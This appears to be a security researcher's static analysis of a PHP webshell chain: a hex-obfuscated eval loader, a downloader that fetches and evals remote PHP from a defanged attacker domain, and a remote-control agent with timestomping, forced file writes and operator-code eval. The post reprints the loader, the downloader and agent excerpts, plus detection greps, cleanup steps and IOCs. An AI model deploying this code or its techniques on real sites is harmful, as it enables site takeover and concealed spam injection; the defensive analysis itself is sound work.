The sample is 1,934 bytes, six lines of PHP, and it was found today, 2026-11-02. It holds one long hex string, the word hex2bin stored as a string, and an eval. The hex decodes to a 922 byte downloader whose variable names are Japanese. The downloader fetches a 69,787 byte PHP file from a Cloudflare-fronted domain and evaluates it.
That second file is a remote management agent for hacked sites. It speaks to its operator through a token check, has 19 actions, and carries 35 distinct Chinese-language status messages. It can write, rename and delete files, prepend code to index.php and wp-login.php, swap a home page, run any PHP the operator sends, and set the modification time of everything it touches to a random date in 2020.
Nothing about the agent is stored on the site. The only file on disk is the 1.9 KB loader, and the agent is downloaded and evaluated again on every request.
I read all three layers statically. I decoded the hex with Python, fetched the agent once with curl and saved it without running it, and never executed any of it under PHP. Everything below about behavior comes from reading the code.
The whole file, minus the long string:
<?php
$_A9BzHv = '24e382a2e38389e383ace382b9203d2027...'; // 1,844 hex characters
$_CmNQF3 = 'hex2bin';
$_TxjZv = $_CmNQF3($_A9BzHv);
eval($_TxjZv);
?>
The function name is a string in a variable, so a search for hex2bin( or eval(hex2bin finds nothing. The call is $_CmNQF3(...). The variable names look random, and so does the hex, so none of the three lines say what the file does. The hex decodes to exactly 922 bytes of UTF-8.
Decoded, with the URL defanged:
$アドレス = 'hxxp://lxml[.]ahkj[.]lol/links-xml.txt'; $コード = '';
$コンテキスト = stream_context_create(['ssl' => ['verify_peer' => false, 'verify_peer_name' => false],
'http' => ['timeout' => 10]]);
if (function_exists('curl_init')) {
$ch = curl_init($アドレス);
curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0,
CURLOPT_FOLLOWLOCATION => 1, CURLOPT_TIMEOUT => 10]);
$コード = curl_exec($ch); @curl_close($ch);
}
if (!$コード && ini_get('allow_url_fopen')) $コード = @file_get_contents($アドレス, false, $コンテキスト);
if (!$コード) { /* last resort: fopen() and fgets() in a loop */ }
if ($コード && strlen($コード) > 10) eval("?>" . $コード);
else echo "";
The identifiers are Katakana: アドレス is “address”, コード is “code”, コンテキスト is “context” and ハンドル is “handle”. The layer after this one speaks Chinese. I don’t draw a conclusion from that. It could be two authors, one tool, or a deliberate mix.
What matters is the logic:
file_get_contents if allow_url_fopen is on, then a manual fopen loop. A host that disabled one of them is still covered. TLS verification is off, though the URL is plain http.eval("?>" . $code). The leading ?> closes PHP mode, so the response is treated as a complete PHP file that begins with <?php. That is how a 1,750 line file can be evaluated as-is.echo "". A site where the C2 is blocked or down keeps working and shows no error..inc file, this one downloads again each time the file is requested, so the operator can change the agent at any moment. Scanners that look at files on the server find the loader and not the agent.| Item | Value |
|---|---|
| URL | hxxp://lxml[.]ahkj[.]lol/links-xml.txt |
| Domain registered | 2026-04-09, registrar Dynadot, expires 2027-04-09 |
| Name servers | lila.ns.cloudflare.com, viddy.ns.cloudflare.com. lxml.ahkj.lol resolves to Cloudflare addresses |
| Response | 200, Content-Type: text/plain, 69,787 bytes, Last-Modified: Thu, 15 Oct 2026 06:32:47 GMT |
| Seen online | 2026-11-02, 23:26 UTC |
The file name links-xml.txt is dressed as a link list or sitemap. It is a PHP script served as plain text, so a browser shows the source and anyone can read it. That matters in the next section.
The agent is 1,750 lines and 17 functions, all named aqua_... (one with a leading underscore). Its error messages are in Chinese, for example 口令校验失败 (“password check failed”) and 目标路径非法 (“target path invalid”). The comments are Chinese too.
An agent dropped in a subfolder still works on the whole site. It subtracts the folder part of SCRIPT_NAME from SCRIPT_FILENAME: a file at /var/www/site/wp-content/x/a.php requested as /wp-content/x/a.php gives the root /var/www/site. If that fails it falls back to DOCUMENT_ROOT, then to the file’s own folder. All file actions are then confined to that root.
Before the token check there are two open endpoints:
| Request | Reply |
|---|---|
no action, or action=ping | the single character 1 |
action=detect | {"code":200,"is_wp":1,"cms":"WordPress","bundle":1,"detail":{"wp-load.php":1,"wp-blog-header.php":1}} |
is_wp is 1 when both wp-load.php and wp-blog-header.php exist in the root; cms is custom otherwise. These replies are a fingerprint, and also how the operator checks which hacked sites are alive and what they run.
Because of the first line, this file cannot be included from a normal page. An empty action prints 1 and calls exit. So the file is requested directly, and the code prepended to index.php (below) is something else.
define('SECRET_KEY', '[REDACTED, 19 characters]');
...
$expect = md5(SECRET_KEY . ':' . $host . ':' . SECRET_KEY);
...
if ($token !== $expect) { aqua_json(403, '口令校验失败', null); }
The host is lower-cased, and a port and a leading www. are removed, then the token is md5(key:host:key). It is accepted in the X-Aqua-Token header or a token parameter. The string is compared with !==, not a timing-safe function.
There is one hard-coded key for all copies, and the file that contains it is downloadable from a public URL as plain text. Anyone who reads links-xml.txt can compute a valid token for any hostname that runs the loader with one md5 call. The token is a per-site label, not a secret. The key itself is redacted here; its SHA-256 is in the IOCs.
A request can set e=xor or e=xor.gz. The body is then base64, XORed with the first 16 characters of the token, and with xor.gz also gzuncompressed. Since the XOR key comes from the token, this hides the body from a web application firewall or a log, not from anyone who knows the key. A comment in the code explains a bug fix for a case where “base64 cleaned by a WAF decodes to an empty string instead of false”, which tells you the operator hit WAFs during use.
| Action | What it does |
|---|---|
read, hash | returns a file’s content (base64) and MD5, or only the MD5 |
upload, write, batch_write | creates files from an upload or from content_b64, in any subfolder. Missing folders are created |
remove, batch_remove | deletes files, up to 50 per call |
rename, backup | renames, or copies up to 20 pairs |
spread | writes a copy of the requested file, which is the 1.9 KB loader, to another path in the site. The agent has no copy of itself on disk to spread |
prepend | puts a PHP snippet at the top of a file, once (a marker string prevents double injection) |
list_directories, touch_dirs | lists folders to depth 10, or backdates every folder |
bundle_harden | deletes listed files, copies and renames files, writes a set of files, then writes a protective .htaccess into every top-level folder of the site |
bundle_harden_nonwp | for non-WordPress sites: writes defines.php, replaces or creates index.php, replaces .htaccess |
bundle_report | reads files, saves a JSON backup of them, then re-injects or strips code in named files, and injects code into wp-login.php |
bundle_beima | evals PHP code sent by the operator and reports back n/m deployed and a list of URLs |
bundle_push | deletes files and writes new ones in bulk, and on request backdates every folder and the loader file itself (touch_dirs, touch_self) |
delete_any | removes /any_infector_.php and files named like 12345-abc.txt |
The code that these actions write is never in the sample. It travels in the request as base64, in fields like safety_block, code_b64, index_php_default_b64, htaccess_b64 and protect_htaccess_b64. What I can describe is the machinery around it.
In bundle_harden_nonwp, if the site has an index.html, the agent renames it to index2.html and writes the operator’s index.php in its place. Without any index file it creates one. If index.php exists, a safety_block is added at the top, in the form of a PHP block whose first and last comment are markers:
// the pattern the agent builds to remove its own old block before adding a new one
'/<\?php\s*\/\*' . preg_quote($startMk, '/') . '\*\/.*?\/\*' . preg_quote($endMk, '/') . '\*\/\s*\?>\s*/s'
The comment describing it gives the markers as examples, A9K3X and Q7L2M, and says the block is changed whenever the operator switches to another encryption of the code, so index.php always has one copy. In .htaccess, the current file is first copied to a backup named htaccesscf unless the operator names another.
Two helpers sit under almost every action. aqua_force_write is called in 24 places. It tries file_put_contents; if that fails it fixes permissions (0644, 0666, 0777), runs chattr -i on the file, and finally deletes the file and writes it again. A read-only file or one with the immutable flag is not an obstacle.
function aqua_touch_2020($file) {
$ts = mktime(mt_rand(0, 23), mt_rand(0, 59), mt_rand(0, 59),
mt_rand(1, 12), mt_rand(1, 28), 2020);
@touch($file, $ts, $ts);
}
aqua_touch_2020 is called in 33 places. Every file it writes gets a random date in 2020, and so does every folder between the file and the web root. After a push, the site looks as if nobody touched it since 2020, and a “newest files first” search won’t find it.
The sample doesn’t contain the spam content, so this part is inference:
bundle_harden actions, begin with aqua_cleanup_blockers. The function only does one thing: it overwrites robots.txt with User-agent: * / Allow: / / Sitemap: https://<host>/sitemap.xml. Any Disallow a site owner set is gone, and the sitemap line is added.bundle_beima runs operator PHP and expects it to print URLs and a deployed/total count. That fits a tool that creates pages and then reports where they are. The action name is pinyin and I leave it untranslated.delete_any removes any_infector_.php and any file in the same folder named by the pattern ^\d{1,15}-[a-zA-Z0-9]{1,15}\.txt$. The Chinese comment calls the txt files “group number” files. So this operator also has a separate “infector” and per-group text files, and cleans them up here.links-xml.txt, the sitemap line, the home page swap and the .htaccess rewriting all fit link and doorway-page spam. Treat that as likely, not proven.Comments in the code say the hardening step leaves the site root at 0555 and index.php and .htaccess at 0444. That lock is applied by operator code that isn’t in the sample, but the agent knows about it: delete_any unlocks the folder to 0755, deletes, and puts the old permission back, and bundle_report takes unlock_root, which registers a shutdown function that restores 0755/0644.
The agent can also re-inject code that was removed. restore_targets in bundle_report takes a path, a base64 block and a marker, and prepends the block to the file unless the marker is already there. strip_targets does the opposite. The file path check (aqua_safe_path) rejects .., empty parts and rewrites anything outside A-Za-z0-9._- to _, so the file actions stay inside the site root. bundle_beima evaluates arbitrary PHP, so that limit does not bound what the operator can do.
# the loader: a PHP variable that is assigned the NAME of a decoder function as a string
grep -rlE "\\\$\w+\s*=\s*['\"](hex2bin|base64_decode|gzinflate|str_rot13)['\"]\s*;" --include='*.php' .
# any PHP variable assigned a hex literal of 300+ characters
grep -rlE "\\\$\w+\s*=\s*['\"][0-9a-f]{300,}['\"]" --include='*.php' .
# the agent, if you find a copy of it on disk or in a backup
grep -rlE 'X_AQUA_TOKEN|aqua_(touch_2020|force_write|safe_path|hard_unlink)|any_infector_' .
# code the agent prepends: a block that starts "<?php /*MARKER*/" at the very top of a file (GNU grep -P)
grep -rlP '\A<\?php\s*/\*[A-Za-z0-9]{3,12}\*/' --include='index.php' --include='wp-login.php' .
index2.html next to an index.php that you didn’t write, a defines.php in a non-WordPress root, a file named htaccesscf (the saved original .htaccess), a .htaccess in each top-level folder that you didn’t create, and an unexpected robots.txt with a Sitemap: line. The names any_infector_.php and <digits>-<letters>.txt belong to the operator’s other tool.touch changes only the modification and access time; the change time (ctime) still records the real moment, which I confirmed on a test file. List files whose mtime says 2020 but whose ctime is recent: find . -type f -newermt 2020-01-01 ! -newermt 2021-01-01 -newerct YYYY-MM-DD. Do the same with -type d, because the agent backdates folders too.stat -c '%a %n' . index.php .htaccess (or stat -f on BSD). A root at 0555 with index.php and .htaccess at 0444 is the state the hardening step produces. Run chmod 755 . and chmod 644 index.php .htaccess before you edit, and check lsattr for the immutable flag.action= parameters on a single PHP file: ping, detect, list_directories, read, write, bundle_harden, bundle_harden_nonwp, bundle_report, bundle_beima, bundle_push, delete_any. The token is 32 hex characters in a token parameter, or in an X-Aqua-Token header that is usually not logged. grep -E 'action=(ping|detect|bundle_[a-z_]+|delete_any|list_directories)' access.log is a start. On a file you suspect, ?action=ping returning exactly 1, and ?action=detect returning JSON with "bundle":1, confirms it.lxml.ahkj.lol (or to any other host serving a .txt that holds PHP) on a page view is the loader running. DNS and proxy logs show it even though no file contains the host name in plain text. The domain may change; the loader pattern is the stable part.restore_targets and re-inject any block you strip. Keep a copy of the loader as evidence. Then remove the injected blocks at the top of index.php, wp-login.php and any other file the markers appear in, restore index.html from index2.html if it is the real original home page, compare .htaccess with htaccesscf, delete the extra .htaccess files, defines.php and the other leftovers, and reset robots.txt. Search the neighbouring sites on the same account and the backups for the same loader.wp-login.php is a file the agent knows how to modify, and I can’t see what code it received. Reset all WordPress admin passwords, replace the salts in wp-config.php to end existing sessions, change the database, FTP/SSH and hosting passwords, and check wp_users for administrators you don’t recognize.wp core verify-checksums and wp plugin verify-checksums --all compare files with the official versions. Reinstall themes and plugins that aren’t from a repository you can check.Loader wper_sample.php 1,934 bytes
sha256 f3ff62c5c37093d79e94407c5cdafabd79f4711a3d98c8eac212a58041810174
md5 b9bf68900c16c211d320bda0d3373fa4
variables $_A9BzHv (hex), $_CmNQF3 ('hex2bin'), $_TxjZv (decoded)
Layer 2 decoded downloader 922 bytes (1,844 hex characters)
sha256 465799628743d970e0ae8dd05a68c37c41d66e76b6684e67c68c4e223c773571
md5 f121cc2e05dd8bb0246cfce3e14ae4a4
variables $アドレス $コード $コンテキスト $ハンドル
Agent links-xml.txt 69,787 bytes, 1,751 lines
sha256 5cf4b10ae3703cd9ad4bace06c408bdbfe0aef41a8762f71e50f8dd786cd0961
md5 82364d2a2a1be263892fea556465712a
hxxp://lxml[.]ahkj[.]lol/links-xml.txt Last-Modified 2026-10-15 06:32:47 GMT
domain ahkj[.]lol registered 2026-04-09 (Dynadot), Cloudflare name servers lila / viddy
SECRET_KEY: 19 characters, redacted. sha256 f4830c726bf944a4d8e647407dfb4ccf18af590cfab11dde794eb37c428652e5
Protocol header X-Aqua-Token parameters action, token, e (xor | xor.gz), l (length)
token = md5(KEY + ":" + host + ":" + KEY), host lower-cased, no port, no "www."
open replies: action=ping -> "1" action=detect -> {"code":200,"is_wp":..,"cms":..,"bundle":1,...}
Artifacts index2.html, defines.php, htaccesscf, /any_infector_.php, <digits>-<letters>.txt,
.htaccess in each top-level folder, robots.txt with "Sitemap: https://<host>/sitemap.xml",
code starting "<?php /*MARKER*/" at the top of index.php or wp-login.php,
files and folders dated randomly in 2020 with a recent ctime
<?php
$_A9BzHv = '24e382a2e38389e383ace382b9203d2027687474703a2f2f6c786d6c2e61686b6a2e6c6f6c2f6c696e6b732d786d6c2e747874273b2024e382b3e383bce38389203d2027273b0a24e382b3e383b3e38386e382ade382b9e38388203d2073747265616d5f636f6e746578745f637265617465285b2773736c27203d3e205b277665726966795f7065657227203d3e2066616c73652c20277665726966795f706565725f6e616d6527203d3e2066616c73655d2c20276874747027203d3e205b2774696d656f757427203d3e2031305d5d293b0a0a6966202866756e6374696f6e5f65786973747328276375726c5f696e6974272929207b0a ... (the rest of the 1,844 characters)';
$_CmNQF3 = 'hex2bin';
$_TxjZv = $_CmNQF3($_A9BzHv);
eval($_TxjZv);
?>
$アドレス = 'hxxp://lxml[.]ahkj[.]lol/links-xml.txt'; $コード = '';
$コンテキスト = stream_context_create(['ssl' => ['verify_peer' => false, 'verify_peer_name' => false], 'http' => ['timeout' => 10]]);
if (function_exists('curl_init')) {
$ch = curl_init($アドレス);
curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_TIMEOUT => 10]);
$コード = curl_exec($ch); @curl_close($ch);
}
if (!$コード && ini_get('allow_url_fopen')) $コード = @file_get_contents($アドレス, false, $コンテキスト);
if (!$コード) {
$ハンドル = @fopen($アドレス, 'r', false, $コンテキスト);
while ($ハンドル && !feof($ハンドル)) $コード .= fgets($ハンドル, 1024);
if ($ハンドル) fclose($ハンドル);
}
if ($コード && strlen($コード) > 10) eval("?>" . $コード);
else echo "";<?php
define('SECRET_KEY', '[REDACTED, 19 characters]');
// ... root resolution: SCRIPT_FILENAME minus SCRIPT_NAME's folder, else DOCUMENT_ROOT ...
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$host = strtolower($host);
$p = strpos($host, ':');
if ($p !== false) { $host = substr($host, 0, $p); }
if (substr($host, 0, 4) === 'www.') { $host = substr($host, 4); }
$expect = md5(SECRET_KEY . ':' . $host . ':' . SECRET_KEY);
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';
if ($action === '' || $action === 'ping') {
header('Content-Type: text/plain');
echo '1';
exit;
}
if ($action === 'detect') {
$has_wp_load = is_file($ROOT . '/wp-load.php');
$has_wp_blog = is_file($ROOT . '/wp-blog-header.php');
$is_wp = $has_wp_load && $has_wp_blog;
header('Content-Type: application/json');
echo json_encode(array(
'code' => 200,
'is_wp' => $is_wp ? 1 : 0,
'cms' => $is_wp ? 'WordPress' : 'custom',
'bundle' => 1,
'detail' => array('wp-load.php' => $has_wp_load ? 1 : 0, 'wp-blog-header.php' => $has_wp_blog ? 1 : 0),
));
exit;
}
$token = '';
if (isset($_SERVER['HTTP_X_AQUA_TOKEN'])) {
$token = $_SERVER['HTTP_X_AQUA_TOKEN'];
} elseif (isset($_REQUEST['token'])) {
$token = $_REQUEST['token'];
}
if ($token !== $expect) {
aqua_json(403, '口令校验失败', null);
}
// ... optional body decryption: base64 -> XOR with substr($expect, 0, 16) -> gzuncompress ...
function aqua_touch_2020($file) {
$ts = mktime(
mt_rand(0, 23), mt_rand(0, 59), mt_rand(0, 59),
mt_rand(1, 12), mt_rand(1, 28), 2020
);
@touch($file, $ts, $ts);
}
function aqua_force_write($file, $data) {
if (is_file($file)) { aqua_ensure_writable($file); }
$ok = @file_put_contents($file, $data);
if ($ok !== false) return true;
if (is_file($file) && function_exists('exec')) {
@exec('chattr -i ' . escapeshellarg($file) . ' 2>/dev/null');
@chmod($file, 0644);
$ok = @file_put_contents($file, $data);
if ($ok !== false) return true;
}
// ... then unlink and write again ...
}
function aqua_gen_robots($ROOT) {
// ... works out http/https from HTTPS, X-Forwarded-Proto or port 443 ...
$sitemapUrl = $protocol . '://' . $host . '/sitemap.xml';
$content = "User-agent: *\r\nAllow: /\r\nSitemap: " . $sitemapUrl . "\r\n";
$robotsFile = $ROOT . '/robots.txt';
aqua_force_write($robotsFile, $content);
aqua_touch_2020($robotsFile);
}
case 'bundle_beima':
$req = aqua_read_json_body();
// ...
$phpCode = base64_decode($req['payload_b64'], true);
ob_start();
eval($phpCode);
$output = ob_get_clean();
// lines that look like URLs go to data.urls; a line "n/m" becomes deployed/total
case 'delete_any':
// deletes any_infector_.php and files in the same folder matching /^\d{1,15}-[a-zA-Z0-9]{1,15}\.txt$/i
// unlocks the folder to 0755 first and puts the old permission back afterwards